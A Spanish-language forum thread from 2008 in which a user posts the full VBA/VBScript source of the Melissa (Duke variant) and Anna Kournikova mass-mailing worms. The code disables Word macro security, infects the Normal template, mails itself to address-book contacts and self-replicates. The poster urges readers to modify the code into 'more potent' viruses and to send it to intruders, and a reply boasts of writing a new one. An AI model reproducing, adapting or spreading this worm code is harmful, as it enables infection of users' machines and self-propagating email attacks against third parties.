aca les traigoodigo Funetes Varisdos De Virus

Tema en 'Foro Libre' iniciado por mariho2, 31 Ene 2008.

  1. mar

    mariho2
    Expand Collapse
    Cabo

    Mensajes:
    167
    Me Gusta recibidos:
    0
    ESPEREO Q LE DEN BUENA UTILIDAD COMO YO SE LADI NO ES PARA ESTAR JODIENDOA NADIE OK ES PARA DEFENDERNOS SI ALGUIEN ENTRA EN NU ESTRO SISTEMA SE LO ENVIAN OK
    VIRUS melissa

    MM Codigo VBS de MELISSA M
    MMMMMMMMMMMMMMMMMMMMMMMhkM




    Este es el codigo fuente (en VBS) de la variante Duke del virus "Melissa" escrito
    originalmente por Kwyjibo, el cual se empezo a difundir el viernes 26 de marzo de 1999.


    Private Sub AutoOpen()
    On Error Resume Next
    p$ = "clone"
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabl ed = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
    Else
    p$ = "clone"
    CommandBars("*****").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
    End If
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
    Set AddyBook = DasMapiName.AddressLists(y)
    x = 1
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
    Next oo
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
    DasMapiName.Logoff
    End If
    p$ = "clone"
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
    End If
    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
    If ADCL > 0 Then _
    ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "Melissa"
    DoAD = True
    End If
    If NTI1.Name <> "Melissa" Then
    If NTCL > 0 Then _
    NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.Name = "Melissa"
    DoNT = True
    End If
    If DoNT <> True And DoAD <> True Then GoTo CYA
    If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    p$ = "clone"
    If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    CYA:
    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True: End If
    'WORD/Melissa written by Kwyjibo
    'Clone written by Duke/SMF
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
    If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
    End Sub


    hkm







    Este virus que tuvo su máxima propagación en febrero del 2001 se reproduce con el nombre Annakournikova.jpg.vbs simulando ser una foto de la tenista rusa. Para esto el archivo utiliza una doble extensión (.jpg.vbs) aunque la que corresponde en estos casos siempre es la última, ejecutando el Visual Basic Script siguiente:


    Código fuente del virus Anna Kournikova
    ---------------------------------------
    'Vbs.OnTheFly Created By OnTheFly
    On Error Resume Next
    Set shellobject = CreateObject("WScript.Shell")
    shellobject.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b"
    Set filesystem= Createobject("scripting.filesystemobject")
    filesystem.copyfile wscript.scriptfullname,filesystem.GetSpecialFolder (0)&"\AnnaKournikova.jpg.vbs"
    if shellobject.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
    mail_trojan()
    end if
    if month(now) =1 and day(now) =26 then
    shellobject.run "Http://www.dynabyte.nl",3,false
    end if
    Set wormfile= filesystem.opentextfile(wscript.scriptfullname, 1)
    payload= wormfile.readall
    wormfile.Close
    Do
    If Not (filesystem.fileexists(wscript.scriptfullname)) Then
    Set newfile= filesystem.createtextfile(wscript.scriptfullname, True)
    newfile.writepayload
    newfile.Close
    End If
    Loop
    Function mail_trojan()
    On Error Resume Next
    Set outlook = CreateObject("Outlook.Application")
    If outlook= "Outlook"Then
    Set mapi=outlook.GetNameSpace("MAPI")
    Set addresses= mapi.AddressLists
    For Each address In addresses
    If address.AddressEntries.Count <> 0 Then
    count = address.AddressEntries.Count
    For I= 1 To count
    Set email = outlook.CreateItem(0)
    Set entry = address.AddressEntries(I)
    email.To = entry.Address
    email.Subject = "Here you have, ;o)"
    email.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
    set attachment=email.Attachments
    attachment.Add filesystem.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
    email.DeleteAfterSubmit = True
    If email.To <> "" Then
    email.Send
    shellobject.regwrite "HKCU\software\OnTheFly\mailed", "1"
    End If
    Next
    End If
    Next
    end if
    End Function
    'Vbswg 1.50b
    --------------------

    Se propaga por correo electrónico, reenviándose a todos los contactos de la libreta de direcciones.

    El virus escribe una clave en el registro del Windows: HKCU/Software/OnTheFly, y como vemos en su código fuente, hará que en la fecha 26 de enero, los usuarios que naveguen por la Web sean direccionados a un sitio de e-commerce de Holanda. Se estima que, precisamente, tiene su origen en ese país. Como llega encriptado, algunos antivirus no lo detecten fácilmente. No se trata de un virus dañino sino tan solo molesto, ya que no destruye ningún archivo ni parte del sistema.
    A UNA COSA MAS SI COPIAN Y PEGANE STO EN EL PROGRAMA Q LES DI AYER TENDRAN UN VIRUS NUEVO OK SOLO CAMBIEN ALGUNAS DIRECCIONES Y AGAN SU VIRUS MAS POTENTE
     
  2. The

    TheCHiP
    Expand Collapse
    Cabo

    Mensajes:
    187
    Me Gusta recibidos:
    0
    Pronto

    YA ESTOY HACIENDO EL BIRUS DE LA SHARAPOVA SOLO ES CUESTION DE TIEMPO :D
     

Compartir esta página